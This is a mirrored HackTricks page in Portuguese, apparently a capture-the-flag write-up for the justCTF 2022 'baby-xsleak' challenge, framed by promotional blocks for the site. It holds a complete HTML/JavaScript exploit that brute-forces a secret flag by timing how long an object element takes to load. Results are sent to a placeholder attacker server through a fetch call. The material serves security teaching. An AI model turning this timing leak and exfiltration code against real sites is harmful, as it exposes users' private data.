mirror of
https://github.com/carlospolop/hacktricks
synced 2024-12-04 10:30:26 +00:00
127 lines
4.8 KiB
Markdown
127 lines
4.8 KiB
Markdown
# performance.now + Forçar tarefa pesada
|
|
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Gostaria de ver sua **empresa anunciada no HackTricks**? ou gostaria de ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|
|
|
|
**Exploit retirado de [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
|
|
|
|
Neste desafio, o usuário poderia enviar milhares de caracteres e, se a flag estivesse contida, os caracteres seriam enviados de volta para o bot. Portanto, enviando uma grande quantidade de caracteres, o atacante poderia verificar se a flag estava contida na string enviada ou não.
|
|
|
|
{% hint style="warning" %}
|
|
Inicialmente, não defini a largura e altura do objeto, mas mais tarde descobri que é importante porque o tamanho padrão é muito pequeno para fazer diferença no tempo de carregamento.
|
|
{% endhint %}
|
|
```html
|
|
<!DOCTYPE html>
|
|
<html>
|
|
<head>
|
|
|
|
</head>
|
|
<body>
|
|
<img src="https://deelay.me/30000/https://example.com">
|
|
<script>
|
|
fetch('https://deelay.me/30000/https://example.com')
|
|
|
|
function send(data) {
|
|
fetch('http://vps?data='+encodeURIComponent(data)).catch(err => 1)
|
|
}
|
|
|
|
function leak(char, callback) {
|
|
return new Promise(resolve => {
|
|
let ss = 'just_random_string'
|
|
let url = `http://baby-xsleak-ams3.web.jctf.pro/search/?search=${char}&msg=`+ss[Math.floor(Math.random()*ss.length)].repeat(1000000)
|
|
let start = performance.now()
|
|
let object = document.createElement('object');
|
|
object.width = '2000px'
|
|
object.height = '2000px'
|
|
object.data = url;
|
|
object.onload = () => {
|
|
object.remove()
|
|
let end = performance.now()
|
|
resolve(end - start)
|
|
}
|
|
object.onerror = () => console.log('Error event triggered');
|
|
document.body.appendChild(object);
|
|
})
|
|
|
|
}
|
|
|
|
send('start')
|
|
|
|
let charset = 'abcdefghijklmnopqrstuvwxyz_}'.split('')
|
|
let flag = 'justCTF{'
|
|
|
|
async function main() {
|
|
let found = 0
|
|
let notFound = 0
|
|
for(let i=0;i<3;i++) {
|
|
await leak('..')
|
|
}
|
|
for(let i=0; i<3; i++) {
|
|
found += await leak('justCTF')
|
|
}
|
|
for(let i=0; i<3; i++) {
|
|
notFound += await leak('NOT_FOUND123')
|
|
}
|
|
|
|
found /= 3
|
|
notFound /= 3
|
|
|
|
send('found flag:'+found)
|
|
send('not found flag:'+notFound)
|
|
|
|
let threshold = found - ((found - notFound)/2)
|
|
send('threshold:'+threshold)
|
|
|
|
if (notFound > found) {
|
|
return
|
|
}
|
|
|
|
// exploit
|
|
while(true) {
|
|
if (flag[flag.length - 1] === '}') {
|
|
break
|
|
}
|
|
for(let char of charset) {
|
|
let trying = flag + char
|
|
let time = 0
|
|
for(let i=0; i<3; i++) {
|
|
time += await leak(trying)
|
|
}
|
|
time/=3
|
|
send('char:'+trying+',time:'+time)
|
|
if (time >= threshold) {
|
|
flag += char
|
|
send(flag)
|
|
break
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
main()
|
|
|
|
</script>
|
|
</body>
|
|
|
|
</html>
|
|
```
|
|
<details>
|
|
|
|
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
|
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
|
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Compartilhe seus truques de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
|
|
|
</details>
|